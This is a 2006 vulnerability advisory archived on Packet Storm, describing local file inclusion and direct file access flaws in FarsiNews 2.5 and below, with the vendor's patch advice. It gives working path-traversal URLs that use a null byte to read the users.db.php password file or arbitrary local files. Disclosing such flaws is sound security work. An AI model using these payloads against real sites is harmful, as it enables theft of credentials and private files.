what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

farsiNews.txt

farsiNews.txt
Posted Feb 13, 2006
Authored by Hamid Ebadi | Site hamid.ir

FarsiNews versions 2.5 and below suffer from various local file inclusion and direct file access flaws.

tags | exploit, local, file inclusion
SHA-256 | b7aad0c8649aa284cee3be6cf8470a1dcae12846a409aea7e3a1ab8f077f4dd5

farsiNews.txt

Change Mirror Download
FarsiNews 2.5 Multiple Vulnerabilities

FarsiNews is a News Publishing System That uses Flat
files to store it`s Datas... Farsinews is a persian
and improved translation of CuteNews, AjFork, CuteHack
and CuteSQL...
for more information about FarsiNews Publishing System
visit http://www.farsinewsteam.com

Credit:
The information has been provided by Hamid Ebadi
( Hamid Network Security Team) : admin@hamid.ir.
The original article can be found at :
http://hamid.ir/security

Vulnerable Systems:
FarsiNews 2.5 and below (also tested on 2.1)

1)
in FarsiNews if you change the archive value :
http://localhost/index.php?archive=hamid
----------------------------[<error>]---------------------------
Warning:
file([PATH]/data/archives/hamid.news.arch.php):
failed to open stream: No such file or directory in
[PATH]\inc\shows.inc.php on line 642
Warning:
file([PATH]/data/archives/hamid.comments.arch.php):
failed to open stream: No such file or directory in
[PATH]\inc\shows.inc.php on line 686
...[and many other error]
----------------------------[</error>]---------------------------

it means that shows.inc.php try to open
'/archives/hamid.news.arch.php' (and also
'hamid.comments.arch.php') to read it's data .
we can change the archive value to
'/../users.db.php%00' to see all username and password
.
Exploit :
http://localhost/index.php?archive=/../users.db.php%00
http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00

2)
Local file inclusion:

The following URL will cause local file inclusion:
http://localhost/show_archives.php?template=/../../[local-file]%00

farsinews team Patch:
use FarsiNews 2.5.3
and upgrade :
show_news.php
show_archives.php
inc/tempeditor.mdu
more info :
http://forum.farsinewsteam.com/index.php?showtopic=71
http://forum.farsinewsteam.com/index.php?showtopic=76


Signature



__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close